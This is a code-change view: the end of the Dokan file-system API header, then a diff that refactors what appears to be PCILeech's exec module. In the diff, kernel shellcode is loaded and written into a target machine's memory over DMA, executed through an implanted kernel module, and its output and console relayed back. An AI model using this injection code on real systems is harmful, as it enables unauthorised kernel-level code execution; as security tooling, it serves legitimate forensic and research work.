NTSTATUS(DOKAN_CALLBACK *GetDiskFreeSpace)(PULONGLONG FreeBytesAvailable,
|
||||
PULONGLONG TotalNumberOfBytes,
|
||||
PULONGLONG TotalNumberOfFreeBytes,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief GetVolumeInformation Dokan API callback
|
||||
*
|
||||
* Retrieves information about the file system and volume associated with the specified root directory.
|
||||
*
|
||||
* Neither GetVolumeInformation nor GetDiskFreeSpace
|
||||
* save the \ref DOKAN_FILE_INFO#Context.
|
||||
* Before these methods are called, \ref ZwCreateFile may not be called.
|
||||
* (ditto \ref CloseFile and \ref Cleanup)
|
||||
*
|
||||
* \c FILE_READ_ONLY_VOLUME is automatically added to the
|
||||
* FileSystemFlags if \ref DOKAN_OPTION_WRITE_PROTECT was
|
||||
* specified in DOKAN_OPTIONS when the volume was mounted.
|
||||
*
|
||||
* \param VolumeNameBuffer A pointer to a buffer that receives the name of a specified volume.
|
||||
* \param VolumeNameSize The length of a volume name buffer.
|
||||
* \param VolumeSerialNumber A pointer to a variable that receives the volume serial number.
|
||||
* \param MaximumComponentLength A pointer to a variable that receives the maximum length.
|
||||
* \param FileSystemFlags A pointer to a variable that receives flags associated with the specified file system.
|
||||
* \param FileSystemNameBuffer A pointer to a buffer that receives the name of the file system.
|
||||
* \param FileSystemNameSize The length of the file system name buffer.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa364993(v=vs.85).aspx"> GetVolumeInformation function (MSDN)</a>
|
||||
* \see GetDiskFreeSpace
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *GetVolumeInformation)(LPWSTR VolumeNameBuffer,
|
||||
DWORD VolumeNameSize,
|
||||
LPDWORD VolumeSerialNumber,
|
||||
LPDWORD MaximumComponentLength,
|
||||
LPDWORD FileSystemFlags,
|
||||
LPWSTR FileSystemNameBuffer,
|
||||
DWORD FileSystemNameSize,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief Mounted Dokan API callback
|
||||
*
|
||||
* Is called when Dokan succeed to mount the volume.
|
||||
*
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see Unmounted
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *Mounted)(PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief Unmounted Dokan API callback
|
||||
*
|
||||
* Is called when Dokan is unmounting the volume.
|
||||
*
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result.
|
||||
* \see Unmounted
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *Unmounted)(PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief GetFileSecurity Dokan API callback
|
||||
*
|
||||
* Get specified information about the security of a file or directory.
|
||||
*
|
||||
* Return \c STATUS_BUFFER_OVERFLOW if buffer size is too small.
|
||||
*
|
||||
* \since Supported since version 0.6.0. You must specify the version in \ref DOKAN_OPTIONS.Version.
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param SecurityInformation A SECURITY_INFORMATION value that identifies the security information being requested.
|
||||
* \param SecurityDescriptor A pointer to a buffer that receives a copy of the security descriptor of the requested file.
|
||||
* \param BufferLength Specifies the size, in bytes, of the buffer.
|
||||
* \param LengthNeeded A pointer to the variable that receives the number of bytes necessary to store the complete security descriptor.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see SetFileSecurity
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa446639(v=vs.85).aspx">GetFileSecurity function (MSDN)</a>
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *GetFileSecurity)(LPCWSTR FileName,
|
||||
PSECURITY_INFORMATION SecurityInformation,
|
||||
PSECURITY_DESCRIPTOR SecurityDescriptor,
|
||||
ULONG BufferLength,
|
||||
PULONG LengthNeeded,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief SetFileSecurity Dokan API callback
|
||||
*
|
||||
* Sets the security of a file or directory object.
|
||||
*
|
||||
* \since Supported since version 0.6.0. You must specify the version in \ref DOKAN_OPTIONS.Version.
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param SecurityInformation Structure that identifies the contents of the security descriptor pointed by \a SecurityDescriptor param.
|
||||
* \param SecurityDescriptor A pointer to a SECURITY_DESCRIPTOR structure.
|
||||
* \param BufferLength Specifies the size, in bytes, of the buffer.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see GetFileSecurity
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa379577(v=vs.85).aspx">SetFileSecurity function (MSDN)</a>
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *SetFileSecurity)(LPCWSTR FileName,
|
||||
PSECURITY_INFORMATION SecurityInformation,
|
||||
PSECURITY_DESCRIPTOR SecurityDescriptor,
|
||||
ULONG BufferLength,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief FindStreams Dokan API callback
|
||||
*
|
||||
* Retrieve all NTFS Streams informations on the file.
|
||||
* This is only called if \ref DOKAN_OPTION_ALT_STREAM is enabled.
|
||||
*
|
||||
* \since Supported since version 0.8.0. You must specify the version in \ref DOKAN_OPTIONS.Version.
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param FillFindStreamData Callback that has to be called with PWIN32_FIND_STREAM_DATA that contain stream information.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *FindStreams)(LPCWSTR FileName,
|
||||
PFillFindStreamData FillFindStreamData,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
} DOKAN_OPERATIONS, *PDOKAN_OPERATIONS;
|
||||
|
||||
// clang-format on
|
||||
|
||||
/**
|
||||
* \struct DOKAN_CONTROL
|
||||
* \brief Dokan Control
|
||||
*/
|
||||
typedef struct _DOKAN_CONTROL {
|
||||
/** File System Type */
|
||||
ULONG Type;
|
||||
/** Mount point. Can be "M:\" (drive letter) or "C:\mount\dokan" (path in NTFS) */
|
||||
WCHAR MountPoint[MAX_PATH];
|
||||
/** UNC name used for network volume */
|
||||
WCHAR UNCName[64];
|
||||
/** Disk Device Name */
|
||||
WCHAR DeviceName[64];
|
||||
/** Volume Device Object */
|
||||
PVOID DeviceObject;
|
||||
} DOKAN_CONTROL, *PDOKAN_CONTROL;
|
||||
|
||||
/**
|
||||
* \defgroup DokanMainResult DokanMainResult
|
||||
* \brief \ref DokanMain returns error codes
|
||||
*/
|
||||
/** @{ */
|
||||
|
||||
/** Dokan mount succeed. */
|
||||
#define DOKAN_SUCCESS 0
|
||||
/** Dokan mount error. */
|
||||
#define DOKAN_ERROR -1
|
||||
/** Dokan mount failed - Bad drive letter. */
|
||||
#define DOKAN_DRIVE_LETTER_ERROR -2
|
||||
/** Dokan mount failed - Can't install driver. */
|
||||
#define DOKAN_DRIVER_INSTALL_ERROR -3
|
||||
/** Dokan mount failed - Driver answer that something is wrong. */
|
||||
#define DOKAN_START_ERROR -4
|
||||
/**
|
||||
* Dokan mount failed.
|
||||
* Can't assign a drive letter or mount point.
|
||||
* Probably already used by another volume.
|
||||
*/
|
||||
#define DOKAN_MOUNT_ERROR -5
|
||||
/**
|
||||
* Dokan mount failed.
|
||||
* Mount point is invalid.
|
||||
*/
|
||||
#define DOKAN_MOUNT_POINT_ERROR -6
|
||||
/**
|
||||
* Dokan mount failed.
|
||||
* Requested an incompatible version.
|
||||
*/
|
||||
#define DOKAN_VERSION_ERROR -7
|
||||
|
||||
/** @} */
|
||||
|
||||
/**
|
||||
* \defgroup Dokan Dokan
|
||||
*/
|
||||
/** @{ */
|
||||
|
||||
/**
|
||||
* \brief Mount a new Dokan Volume.
|
||||
*
|
||||
* This function block until the device is unmount.
|
||||
* If the mount fail, it will directly return \ref DokanMainResult error.
|
||||
*
|
||||
* \param DokanOptions a \ref DOKAN_OPTIONS that describe the mount.
|
||||
* \param DokanOperations Instance of \ref DOKAN_OPERATIONS that will be called for each request made by the kernel.
|
||||
* \return \ref DokanMainResult status.
|
||||
*/
|
||||
int DOKANAPI DokanMain(PDOKAN_OPTIONS DokanOptions,
|
||||
PDOKAN_OPERATIONS DokanOperations);
|
||||
|
||||
/**
|
||||
* \brief Unmount a dokan device from a driver letter.
|
||||
*
|
||||
* \param DriveLetter Dokan driver letter to unmount.
|
||||
* \return \c TRUE if device was unmount or False in case of failure or device not found.
|
||||
*/
|
||||
BOOL DOKANAPI DokanUnmount(WCHAR DriveLetter);
|
||||
|
||||
/**
|
||||
* \brief Unmount a dokan device from a mount point
|
||||
*
|
||||
* \param MountPoint Mount point to unmount ("Z", "Z:", "Z:\", "Z:\MyMountPoint").
|
||||
* \return \c TRUE if device was unmount or False in case of failure or device not found.
|
||||
*/
|
||||
BOOL DOKANAPI DokanRemoveMountPoint(LPCWSTR MountPoint);
|
||||
|
||||
/**
|
||||
* \brief Unmount a dokan device from a mount point
|
||||
*
|
||||
* Same as \ref DokanRemoveMountPoint
|
||||
* If Safe is \c TRUE, will broadcast to all desktop and Shell
|
||||
* Safe should not be used during DLL_PROCESS_DETACH
|
||||
*
|
||||
* \see DokanRemoveMountPoint
|
||||
*
|
||||
* \param MountPoint Mount point to unmount ("Z", "Z:", "Z:\", "Z:\MyMountPoint").
|
||||
* \param Safe Process is not in DLL_PROCESS_DETACH state.
|
||||
* \return True if device was unmount or False in case of failure or device not found.
|
||||
*/
|
||||
BOOL DOKANAPI DokanRemoveMountPointEx(LPCWSTR MountPoint, BOOL Safe);
|
||||
|
||||
/**
|
||||
* \brief Checks whether Name can match Expression
|
||||
*
|
||||
* \param Expression Expression can contain wildcard characters (? and *)
|
||||
* \param Name Name to check
|
||||
* \param IgnoreCase Case sensitive or not
|
||||
* \return result if name match the expression
|
||||
*/
|
||||
BOOL DOKANAPI DokanIsNameInExpression(LPCWSTR Expression, LPCWSTR Name,
|
||||
BOOL IgnoreCase);
|
||||
|
||||
/**
|
||||
* \brief Get the version of Dokan.
|
||||
* The returned ULONG is the version number without the dots.
|
||||
* \return The version of Dokan
|
||||
*/
|
||||
ULONG DOKANAPI DokanVersion();
|
||||
|
||||
/**
|
||||
* \brief Get the version of the Dokan driver.
|
||||
* The returned ULONG is the version number without the dots.
|
||||
* \return The version of Dokan driver.
|
||||
*/
|
||||
ULONG DOKANAPI DokanDriverVersion();
|
||||
|
||||
/**
|
||||
* \brief Extends the time out of the current IO operation in driver.
|
||||
*
|
||||
* \param Timeout Extended time in milliseconds requested.
|
||||
* \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend.
|
||||
* \return If the operation was successful.
|
||||
*/
|
||||
BOOL DOKANAPI DokanResetTimeout(ULONG Timeout, PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief Get the handle to Access Token.
|
||||
*
|
||||
* This method needs be called in <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile</a> callback.
|
||||
* The caller must call <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx">CloseHandle</a>
|
||||
* for the returned handle.
|
||||
*
|
||||
* \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend.
|
||||
* \return A handle to the account token for the user on whose behalf the code is running.
|
||||
*/
|
||||
HANDLE DOKANAPI DokanOpenRequestorToken(PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief Get active Dokan mount points.
|
||||
*
|
||||
* \param list Allocate array of DOKAN_CONTROL.
|
||||
* \param length Number of \ref DOKAN_CONTROL instance in list.
|
||||
* \param uncOnly Get only instances that have UNC Name.
|
||||
* \param nbRead Number of instances successfully retrieved.
|
||||
* \return List retrieved or not.
|
||||
*/
|
||||
BOOL DOKANAPI DokanGetMountPointList(PDOKAN_CONTROL list, ULONG length,
|
||||
BOOL uncOnly, PULONG nbRead);
|
||||
|
||||
/**
|
||||
* \brief Convert \ref DOKAN_OPERATIONS.ZwCreateFile parameters to <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile</a> parameters.
|
||||
*
|
||||
* \param FileAttributes FileAttributes from \ref DOKAN_OPERATIONS.ZwCreateFile.
|
||||
* \param CreateOptions CreateOptions from \ref DOKAN_OPERATIONS.ZwCreateFile.
|
||||
* \param CreateDisposition CreateDisposition from \ref DOKAN_OPERATIONS.ZwCreateFile.
|
||||
* \param outFileAttributesAndFlags New <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile</a> dwFlagsAndAttributes.
|
||||
* \param outCreationDisposition New <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile</a> dwCreationDisposition.
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx">CreateFile function (MSDN)</a>
|
||||
*/
|
||||
void DOKANAPI DokanMapKernelToUserCreateFileFlags(
|
||||
ULONG FileAttributes, ULONG CreateOptions, ULONG CreateDisposition,
|
||||
DWORD *outFileAttributesAndFlags, DWORD *outCreationDisposition);
|
||||
|
||||
/**
|
||||
* \brief Convert IRP_MJ_CREATE DesiredAccess to generic rights.
|
||||
*
|
||||
* \param DesiredAccess Standard rights to convert
|
||||
* \return New DesiredAccess with generic rights.
|
||||
* \see <a href="https://msdn.microsoft.com/windows/hardware/drivers/ifs/access-mask">Access Mask (MSDN)</a>
|
||||
*/
|
||||
ACCESS_MASK DOKANAPI DokanMapStandardToGenericAccess(ACCESS_MASK DesiredAccess);
|
||||
|
||||
/**
|
||||
* \brief Convert WIN32 error to NTSTATUS
|
||||
*
|
||||
* https://support.microsoft.com/en-us/kb/113996
|
||||
*
|
||||
* \param Error Win32 Error to convert
|
||||
* \return NTSTATUS associate to the ERROR.
|
||||
*/
|
||||
NTSTATUS DOKANAPI DokanNtStatusFromWin32(DWORD Error);
|
||||
|
||||
/** @} */
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // DOKAN_H_
|
||||
@@ -29,8 +29,7 @@ typedef struct tdEXEC_IO {
|
||||
} EXEC_IO, *PEXEC_IO;
|
||||
|
||||
typedef struct tdCONSOLEREDIR_THREADDATA {
|
||||
PCONFIG pCfg;
|
||||
PDEVICE_DATA pDeviceData;
|
||||
PPCILEECH_CONTEXT ctx;
|
||||
HANDLE hThreadIS;
|
||||
HANDLE hThreadOS;
|
||||
PEXEC_IO pInfoIS;
|
||||
@@ -40,9 +39,7 @@ typedef struct tdCONSOLEREDIR_THREADDATA {
|
||||
} CONSOLEREDIR_THREADDATA, *PCONSOLEREDIR_THREADDATA;
|
||||
|
||||
typedef struct tdEXEC_HANDLE {
|
||||
PCONFIG pCfg;
|
||||
PDEVICE_DATA pDeviceData;
|
||||
PKMDDATA pk;
|
||||
PPCILEECH_CONTEXT ctx;
|
||||
PBYTE pbDMA;
|
||||
HANDLE hFileOutput;
|
||||
QWORD qwFileWritten;
|
||||
@@ -87,15 +84,14 @@ DWORD ConsoleRedirect_ThreadConsoleOutput(PCONSOLEREDIR_THREADDATA pd)
|
||||
}
|
||||
}
|
||||
|
||||
BOOL Exec_ConsoleRedirect_Initialize(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _Inout_ PCONSOLEREDIR_THREADDATA pd)
|
||||
BOOL Exec_ConsoleRedirect_Initialize(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _Inout_ PCONSOLEREDIR_THREADDATA pd)
|
||||
{
|
||||
BOOL result;
|
||||
pd->pCfg = pCfg;
|
||||
pd->pDeviceData = pDeviceData;
|
||||
pd->ctx = ctx;
|
||||
pd->pInfoIS = (PEXEC_IO)pd->pbDataISConsoleBuffer;
|
||||
pd->pInfoOS = (PEXEC_IO)pd->pbDataOSConsoleBuffer;
|
||||
// read initial buffer and check validity
|
||||
result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0);
|
||||
result = DeviceReadMEM(ctx, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0);
|
||||
if(!result || (pd->pInfoOS->magic != EXEC_IO_MAGIC)) {
|
||||
return FALSE;
|
||||
}
|
||||
@@ -105,30 +101,30 @@ BOOL Exec_ConsoleRedirect_Initialize(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevic
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Exec_ConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream)
|
||||
VOID Exec_ConsoleRedirect(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream)
|
||||
{
|
||||
BOOL result;
|
||||
PCONSOLEREDIR_THREADDATA pd = LocalAlloc(LMEM_ZEROINIT, sizeof(CONSOLEREDIR_THREADDATA));
|
||||
if(!pd) { return; }
|
||||
result = Exec_ConsoleRedirect_Initialize(pCfg, pDeviceData, ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, pd);
|
||||
result = Exec_ConsoleRedirect_Initialize(ctx, ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, pd);
|
||||
if(!result) {
|
||||
printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream);
|
||||
return;
|
||||
}
|
||||
// buffer syncer
|
||||
while(TRUE) {
|
||||
result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0);
|
||||
result = DeviceReadMEM(ctx, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0);
|
||||
if(!result || pd->pInfoOS->magic != EXEC_IO_MAGIC) {
|
||||
printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream);
|
||||
return;
|
||||
}
|
||||
DeviceWriteMEM(pDeviceData, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000, 0);
|
||||
DeviceWriteMEM(ctx, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000, 0);
|
||||
}
|
||||
TerminateThread(pd->hThreadIS, 0);
|
||||
TerminateThread(pd->hThreadOS, 0);
|
||||
}
|
||||
|
||||
VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDATA pk, _Inout_ PHANDLE phCallback)
|
||||
VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback)
|
||||
{
|
||||
BOOL result;
|
||||
PEXEC_HANDLE ph = *phCallback;
|
||||
@@ -138,39 +134,37 @@ VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDA
|
||||
// core initialize
|
||||
ph = *phCallback = LocalAlloc(LMEM_ZEROINIT, sizeof(EXEC_HANDLE));
|
||||
if(!ph) { return; }
|
||||
ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, pk->dataOutExtraLengthMax);
|
||||
ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, ctx->pk->dataOutExtraLengthMax);
|
||||
if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return; }
|
||||
ph->pCfg = pCfg;
|
||||
ph->pDeviceData = pDeviceData;
|
||||
ph->pk = pk;
|
||||
ph->ctx = ctx;
|
||||
ph->is.magic = EXEC_IO_MAGIC;
|
||||
// open output file
|
||||
ph->hFileOutput = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
ph->hFileOutput = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(!ph->hFileOutput || (ph->hFileOutput == INVALID_HANDLE_VALUE)) {
|
||||
ph->hFileOutput = NULL;
|
||||
ph->is.bin.fCompletedAck = TRUE;
|
||||
DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0);
|
||||
DeviceWriteDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0);
|
||||
ph->fError = TRUE;
|
||||
printf("EXEC: Failed writing large outut to file: %s\n", ph->pCfg->szFileOut);
|
||||
printf("EXEC: Failed writing large outut to file: %s\n", ctx->cfg->szFileOut);
|
||||
return;
|
||||
}
|
||||
printf("EXEC: Start writing large output to file: %s\n", ph->pCfg->szFileOut);
|
||||
printf("EXEC: Start writing large output to file: %s\n", ctx->cfg->szFileOut);
|
||||
}
|
||||
// write to output file and ack to buffer
|
||||
if(ph->is.bin.fCompletedAck) { return; }
|
||||
DeviceReadDMA(pDeviceData, ph->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, (PBYTE)&ph->os, 0x1000, 0);
|
||||
DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, (PBYTE)&ph->os, 0x1000, 0);
|
||||
if(ph->os.magic != EXEC_IO_MAGIC) { return; }
|
||||
if(ph->is.bin.seqAck >= ph->os.bin.seq) { return; }
|
||||
cbLength = 0;
|
||||
result =
|
||||
DeviceReadDMA(pDeviceData, ph->pk->DMAAddrPhysical + ph->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ph->pk->dataOutExtraLength), 0) &&
|
||||
WriteFile(ph->hFileOutput, ph->pbDMA, (DWORD)ph->pk->dataOutExtraLength, &cbLength, NULL) &&
|
||||
(ph->pk->dataOutExtraLength == cbLength);
|
||||
DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), 0) &&
|
||||
WriteFile(ph->hFileOutput, ph->pbDMA, (DWORD)ctx->pk->dataOutExtraLength, &cbLength, NULL) &&
|
||||
(ctx->pk->dataOutExtraLength == cbLength);
|
||||
ph->qwFileWritten += cbLength;
|
||||
ph->fError = !result;
|
||||
ph->is.bin.fCompletedAck = ph->is.bin.fCompletedAck || ph->os.bin.fCompleted || !result;
|
||||
ph->is.bin.seqAck = ph->os.bin.seq;
|
||||
DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0);
|
||||
DeviceWriteDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0);
|
||||
}
|
||||
|
||||
VOID Exec_CallbackClose(_In_ HANDLE hCallback)
|
||||
@@ -179,7 +173,7 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback)
|
||||
if(hCallback == NULL) { return; }
|
||||
if(ph->hFileOutput) {
|
||||
if(ph->fError) {
|
||||
printf("EXEC: Failed writing large outut to file: %s\n", ph->pCfg->szFileOut);
|
||||
printf("EXEC: Failed writing large outut to file: %s\n", ph->ctx->cfg->szFileOut);
|
||||
} else {
|
||||
printf("EXEC: Successfully wrote %i bytes.\n", ph->qwFileWritten);
|
||||
}
|
||||
@@ -189,9 +183,9 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback)
|
||||
LocalFree(ph);
|
||||
}
|
||||
|
||||
BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut)
|
||||
BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut)
|
||||
{
|
||||
PKMDDATA pk;
|
||||
PKMDDATA pk = ctx->pk;
|
||||
BOOL result = FALSE;
|
||||
DWORD cbBuffer;
|
||||
PBYTE pbBuffer = NULL;
|
||||
@@ -199,12 +193,11 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST
|
||||
//------------------------------------------------
|
||||
// 1: Setup and initial validity checks.
|
||||
//------------------------------------------------
|
||||
if(!pDeviceData->KMDHandle) { goto fail; }
|
||||
pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status;
|
||||
if(!ctx->phKMD) { goto fail; }
|
||||
result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec);
|
||||
if(!result) { goto fail; }
|
||||
cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn);
|
||||
if(!result || (pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; }
|
||||
if(!result || (ctx->pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; }
|
||||
pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer);
|
||||
if(!pbBuffer) { result = FALSE; goto fail; }
|
||||
//------------------------------------------------
|
||||
@@ -216,7 +209,7 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST
|
||||
//------------------------------------------------
|
||||
memcpy(pbBuffer, pKmdExec->pbShellcode, pKmdExec->cbShellcode);
|
||||
memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, cbIn);
|
||||
result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical, pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceWriteDMA(ctx, pk->DMAAddrPhysical, pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result) { goto fail; }
|
||||
pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode);
|
||||
pk->dataInExtraLength = cbIn;
|
||||
@@ -227,8 +220,8 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST
|
||||
//------------------------------------------------
|
||||
// 3: Execute!
|
||||
//------------------------------------------------
|
||||
KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID);
|
||||
result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC);
|
||||
KMD_SubmitCommand(ctx, KMD_CMD_VOID);
|
||||
result = KMD_SubmitCommand(ctx, KMD_CMD_EXEC);
|
||||
if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) {
|
||||
result = FALSE;
|
||||
goto fail;
|
||||
@@ -240,7 +233,7 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST
|
||||
*pcbOut = pk->dataOutExtraLength;
|
||||
*ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut));
|
||||
if(!*ppbOut) { result = FALSE; goto fail; }
|
||||
result = DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0);
|
||||
result = DeviceReadDMA(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0);
|
||||
}
|
||||
fail:
|
||||
LocalFree(pKmdExec);
|
||||
@@ -248,7 +241,7 @@ fail:
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
const DWORD CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT = 8192;
|
||||
BOOL result;
|
||||
@@ -256,30 +249,29 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
PBYTE pbBuffer = NULL;
|
||||
BYTE pbZeroPage2[0x2000] = { 0 };
|
||||
